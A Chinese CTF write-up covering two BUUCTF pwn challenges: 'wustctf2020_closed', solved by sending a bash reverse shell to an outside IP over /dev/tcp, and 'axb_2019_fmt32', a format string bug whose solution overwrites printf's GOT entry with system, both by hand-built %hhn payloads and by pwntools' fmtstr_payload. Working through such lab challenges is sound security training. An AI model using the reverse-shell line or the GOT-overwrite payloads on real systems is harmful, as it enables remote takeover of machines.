1、wustctf2020_closed
题目链接:https://buuoj.cn/challenges#wustctf2020_closed
vulnerable
shell
通过IDApro查看。程序将标准输出stdout(1)
和标准错误stderr(2)
通过close
函数进行关闭。然后返回了一个shell
。
关闭标准输出和标准错误意味着程序不再能够向终端输出信息,也就是说按照一般思路似乎没有办法解决。但是咱好歹也是搞web的人,这么明目张胆的给一个shell
那确实是有点太嚣张了。
你会怎么做呢?
我的做法是,直接反弹shell
。
from pwn import *
context(arch='amd64', os='linux')
context.log_level='debug'
# p = process("./wustctf2020_closed")
p = remote("node4.buuoj.cn", 28305)
p.recvuntil(b"HaHaHa!nWhat else can you do???n")
payload = b"bash -c 'bash -i >& /dev/tcp/43.138.182.38/6666 0>&1'"
p.sendline(payload)
p.interactive()
秒了秒了,真调皮~
2、axb_2019_fmt32
题目链接:https://buuoj.cn/challenges#axb_2019_fmt32
主要也不是为了讲这题,这题本身没什么意思,甚至很无聊,就是典型的格式化字符串漏洞的利用而已。
这里主要是为了记录一个pwntools
自带的工具叫fmtstr_payload
。
fmtstr_payload
的python
源码如下:
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0, no_dollars=False):
"""..."""
sz = WRITE_SIZE[write_size]
szmax = WRITE_SIZE[write_size_max]
all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)
fmt = b""
for _ in range(1000000):
data_offset = (offset_bytes + len(fmt)) // context.bytes
fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten, no_dollars=no_dollars)
fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)
if len(fmt) + offset_bytes == data_offset * context.bytes:
break
else:
raise RuntimeError("this is a bug ... format string building did not converge")
return fmt + data
放心,我并不是为了来分析源码,只是这个源码放在这里显得文章的b格高一点, 而且之后要用直接来这边找就可以了。()
一般来说,使用到这个函数的地方长这样:
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
其中:
-
offset
: 读取的字符串相对于格式化字符串的偏移 -
writes
: 一般是一个item
,形式为{a: b}
,a
代表要被写入的地址,b
代表写入的值 -
numbwritten
: 代表在输入payload之前已经输出的字符串数量 -
write_size
: 代表按什么大小写入,默认是字节,对应自己构造的时候的hhn
以这道题目为例子,我本地调试的时候写的payload
长这样:
payload = b"A%102c%11$hhn" + p32(printf_got) # 112 + 4 = 116
payload += b"A%12c%15$hhn" + p32(printf_got + 1) # 129 + 4 = 133
payload += b"A%62c%19$hhn" + p32(printf_got + 2) # 196 + 4 = 200
payload += b"A%46c%23$hhn" + p32(printf_got + 3) # 247
每一个字节都经过了长达一分钟多的头脑风暴。
而使用fmtstr_payload
的payload
为:
payload = b"A"
payload += fmtstr_payload(8, {printf_got: system_addr}, numbwritten = 10, write_size='byte')
简洁又快速。而且在实际的做题环境的时候,libc
的基地址一般都是一直在变换的,所以类似于我本地那样实现计算好肯定是不行的。
实际上我这段就只想介绍一下fmtstr_payload
,但是一不小心水了这么多真是不好意思。(太好了!又水了几百个字)
原文始发于微信公众号(Stack0verf1ow):【PWN】活跃一下
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论